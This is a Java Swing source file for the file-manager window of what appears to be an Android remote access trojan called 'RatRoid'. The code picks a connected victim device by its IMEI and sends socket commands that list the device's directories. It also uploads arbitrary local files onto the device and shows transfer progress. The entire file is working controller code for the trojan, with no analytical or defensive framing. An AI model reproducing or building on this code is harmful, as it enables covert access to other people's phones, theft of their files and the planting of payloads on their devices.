package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import javax.swing.JProgressBar;
import javax.swing.JTable;
import javax.swing.SwingWorker;
import other.FileInfo;

/**
 *
 * @author Sam
 */
public class FileGui extends javax.swing.JFrame {

    /**
     * Creates new form FileGui
     */
    FileGui fileGui = this;

    public FileGui(String x) {
    }

    public FileGui() {
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        upload.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/fup.png")));
        list.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/fhome.png")));
        Tfile.mymodel.addFile(new FileInfo("Please wait", "Getting Files", "/", "/"));

        SwingWorker worker = new SwingWorker<Void, Void>() {
            @Override
            protected Void doInBackground() throws Exception {
                data(Main.threads);
                return null;
            }
        };
        worker.execute();
        Tfile.jTable1.addMouseListener(new MouseAdapter() {
            String path = "";

            @Override
            public void mousePressed(MouseEvent e) {
                check(e);

            }

            @Override
            public void mouseReleased(MouseEvent e) {
                check(e);
                checkDouble(e);

            }

            public void check(MouseEvent e) {
                int r = Tfile.jTable1.rowAtPoint(e.getPoint());
                if (r >= 0 && r < Tfile.jTable1.getRowCount()) {
                    Tfile.jTable1.setRowSelectionInterval(r, r);
                } else {
                    Tfile.jTable1.clearSelection();
                }

                int rowindex = Tfile.jTable1.getSelectedRow();
                if (rowindex < 0) {
                    return;
                }

                if (e.isPopupTrigger() && e.getComponent() instanceof JTable) {
                    FilePopupMenu popup = new FilePopupMenu(fileGui);
                    popup.show(e.getComponent(), e.getX(), e.getY());
                }

            }
            
            public void checkDouble(MouseEvent e) {
                int r = Tfile.jTable1.rowAtPoint(e.getPoint());
                if (r >= 0 && r < Tfile.jTable1.getRowCount()) {
                    Tfile.jTable1.setRowSelectionInterval(r, r);
                } else {
                    Tfile.jTable1.clearSelection();
                }

                int rowindex = Tfile.jTable1.getSelectedRow();
                if (rowindex < 0) {
                    return;
                }
                if (e.getClickCount() == 2) {
                    if (rowindex >= 0) {

                        if (Tfile.mymodel.getfiles().get(rowindex).gettype().equals("Directory")) {
                            path = Tfile.mymodel.getfiles().get(rowindex).getpath();
                            SwingWorker worker = new SwingWorker<Void, Void>() {
                                @Override
                                protected Void doInBackground() throws Exception {
                                    data(Main.threads, path);
                                    return null;
                                }
                            };
                            worker.execute();

                        }
                    }
                }
            }
        });
        this.setVisible(true);
    }

    public final void data(ThreadHandle thlist) {

        imei = null;
        int row = MainGui.Tuser.jTable1.getSelectedRow();
        if (row != -1) {
            imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
            this.setTitle("File Manager for " + imei);
            title = imei;
        }
        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is Refreshing file list, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("fim" + imei);
                        out.flush();

                        is1 = client1.getsocket().getInputStream();
                        ois1 = new ObjectInputStream(is1);
                        filetab1.clear();
                        Tfile.mymodel.clear();
                        //getContentPane().repaint();
                        filetab1 = (List<FileInfo>) ois1.readObject();
                    } catch (IOException e) {
                        this.dispose();
                        e.printStackTrace();
                        client1.available = true;

                    } catch (ClassNotFoundException ex) {
                        client1.available = true;
                        ex.printStackTrace();

                    }
                    client1.available = true;
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
                int size = filetab1.size();
                int i;
                Collections.sort(filetab1);
                if (size == 0) {
                } else {
                    for (i = 0; i < size; i++) {
                        if (filetab1.get(i).gettype().equals("d")) {
                            filetab1.get(i).settype("Directory");
                            filetab1.get(i).setsize("Directory");
                            Tfile.mymodel.addFile(filetab1.get(i));
                        }
                    }
                    String dir = Tfile.mymodel.getfiles().get(1).getpath();
                    dir = dir.replace("/" + Tfile.mymodel.getfiles().get(1).getname(), "");
                    pathtext.setText(dir);
                    for (i = 0; i < size; i++) {
                        if (filetab1.get(i).gettype().equals("f")) {
                            filetab1.get(i).settype("File");
                            Tfile.mymodel.addFile(filetab1.get(i));
                        }
                    }
                }

            }

        }
    }

    public final void data(ThreadHandle thlist, String path) {

        String imei = null;
        int row = MainGui.Tuser.jTable1.getSelectedRow();
        if (row != -1) {
            imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        }
        for (final Clients client1 : thlist.getthreads()) {
            if (client1.getthread().getName().equals(imei)) {
                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is updating File List, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("fmg" + imei);
                        out.flush();

                        in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                        String lsnmsg = in.readLine();
                        recep1 = new String[]{path};
                        os1 = client1.getsocket().getOutputStream();
                        oos1 = new ObjectOutputStream(os1);
                        oos1.writeObject(recep1);
                        oos1.flush();

                        is1 = client1.getsocket().getInputStream();
                        ois1 = new ObjectInputStream(is1);
                        filetab1.clear();
                        Tfile.mymodel.clear();
                        //getContentPane().repaint();
                        filetab1 = (List<FileInfo>) ois1.readObject();
                        int size = filetab1.size();
                        int i;
                        Collections.sort(filetab1);
                        if (size == 0) {
                        } else {
                            for (i = 0; i < size; i++) {
                                if (filetab1.get(i).gettype().equals("d")) {
                                    filetab1.get(i).settype("Directory");
                                    filetab1.get(i).setsize("Directory");
                                    Tfile.mymodel.addFile(filetab1.get(i));
                                }
                            }
                            for (i = 0; i < size; i++) {
                                if (filetab1.get(i).gettype().equals("f")) {
                                    filetab1.get(i).settype("File");
                                    Tfile.mymodel.addFile(filetab1.get(i));
                                }
                            }
                            pathtext.setText(path);
                        }
                    } catch (IOException e) {
                        this.dispose();
                        client1.available = true;

                    } catch (ClassNotFoundException ex) {
                        client1.available = true;

                    }
                    client1.available = true;
                } else {

                    Thread msg2Thread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msg2Thread.start();

                }




            }

        }
    }

    public void upload() {

        String x = this.getTitle();
        x = x.substring(17, x.length());


        for (final Clients client1 : Main.threads.getthreads()) {
            if (client1.getthread().getName().equals(x)) {
                File mfile = null;
                String path = pathtext.getText();
                JFileChooser fileChooser = new JFileChooser();
                int a = fileChooser.showOpenDialog(null);
                if (a == JFileChooser.APPROVE_OPTION) {
                    mfile = fileChooser.getSelectedFile();
                }
                uptext.setText(mfile.getPath());
                String name = mfile.getName();
                String size = String.valueOf(mfile.length());
                int filesize = Integer.parseInt(size);

                if (client1.available) {
                    client1.available = false;
                    client1.doing = " This Client is uploading a file, please try again in a second ";
                    try {
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("fup" + x);
                        out.flush();
                        in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                        String lsnmsg = in.readLine();
                        recep1 = new String[]{path, name, size};
                        os1 = client1.getsocket().getOutputStream();
                        oos1 = new ObjectOutputStream(os1);
                        oos1.writeObject(recep1);
                        oos1.flush();




                        is1 = new FileInputStream(mfile);


                        this.progress().setMaximum(100);
                        this.progress().setMinimum(0);
                        int nBytesReceived = 0;
                        byte[] buf = new byte[1000];
                        int len = 0;
                        while ((len = is1.read(buf)) != -1) {
                            os1.write(buf, 0, len);
                            nBytesReceived += len;
                            this.progress().setValue(nBytesReceived * 100 / filesize);
                        }
                        //String donemsg = in.readLine();
                        //System.out.println("done message is " + donemsg);
                        client1.available = true;

                    } catch (IOException e) {
                        client1.available = true;
                    }

                    client1.available = true;
                } else {
                    Thread msgThread = new Thread(new Runnable() {
                        @Override
                        public void run() {
                            JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                        }
                    });
                    msgThread.start();
                }
            }
        }
    }

    public String getptext() {
        return pathtext.getText();
    }
    public JProgressBar progress() {
        return progressBar;
    }

    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {
        java.awt.GridBagConstraints gridBagConstraints;

        pathtext = new javax.swing.JTextField();
        list = new javax.swing.JButton();
        progressBar = new javax.swing.JProgressBar();
        tabpane = new javax.swing.JTabbedPane();
        uptext = new javax.swing.JTextField();
        upload = new javax.swing.JButton();

        setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
        setMinimumSize(new java.awt.Dimension(5, 5));
        setPreferredSize(new java.awt.Dimension(754, 444));
        getContentPane().setLayout(new java.awt.GridBagLayout());

        pathtext.setText("/");
        pathtext.setEnabled(false);
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.ipadx = 316;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(3, 4, 2, 3);
        getContentPane().add(pathtext, gridBagConstraints);

        list.setText("Root List");
        list.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                listActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 1;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(2, 6, 2, 10);
        getContentPane().add(list, gridBagConstraints);

        progressBar.setForeground(new java.awt.Color(0, 204, 0));
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 3;
        gridBagConstraints.gridwidth = 3;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.weightx = 1.0;
        getContentPane().add(progressBar, gridBagConstraints);

        tabpane.addTab("Files",Tfile);

        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 2;
        gridBagConstraints.gridwidth = 2;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.ipady = 256;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(6, 5, 3, 4);
        getContentPane().add(tabpane, gridBagConstraints);

        uptext.setText("...");
        uptext.setEnabled(false);
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.ipadx = 316;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.insets = new java.awt.Insets(3, 4, 2, 3);
        getContentPane().add(uptext, gridBagConstraints);

        upload.setText("Upload File");
        upload.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                uploadActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 1;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.insets = new java.awt.Insets(2, 6, 2, 10);
        getContentPane().add(upload, gridBagConstraints);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void listActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_listActionPerformed

        SwingWorker worker = new SwingWorker<Void, Void>() {
            @Override
            protected Void doInBackground() throws Exception {
                data(Main.threads);
                return null;
            }
        };
        worker.execute();

    }//GEN-LAST:event_listActionPerformed

    private void uploadActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_uploadActionPerformed
        SwingWorker worker = new SwingWorker<Void, Void>() {
            @Override
            protected Void doInBackground() throws Exception {
                upload();
                return null;
            }
        };
        worker.execute();
    }//GEN-LAST:event_uploadActionPerformed
    List<FileInfo> filetab1 = new ArrayList<>();
    FileTab Tfile = new FileTab();
    private ObjectInputStream ois1;
    private InputStream is1;
    private PrintWriter out;
    private BufferedReader in;
    private String[] recep1;
    private ObjectOutputStream oos1;
    private OutputStream os1;
    private String imei;
    private String title;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton list;
    private javax.swing.JTextField pathtext;
    private javax.swing.JProgressBar progressBar;
    private javax.swing.JTabbedPane tabpane;
    private javax.swing.JButton upload;
    private javax.swing.JTextField uptext;
    // End of variables declaration//GEN-END:variables
}
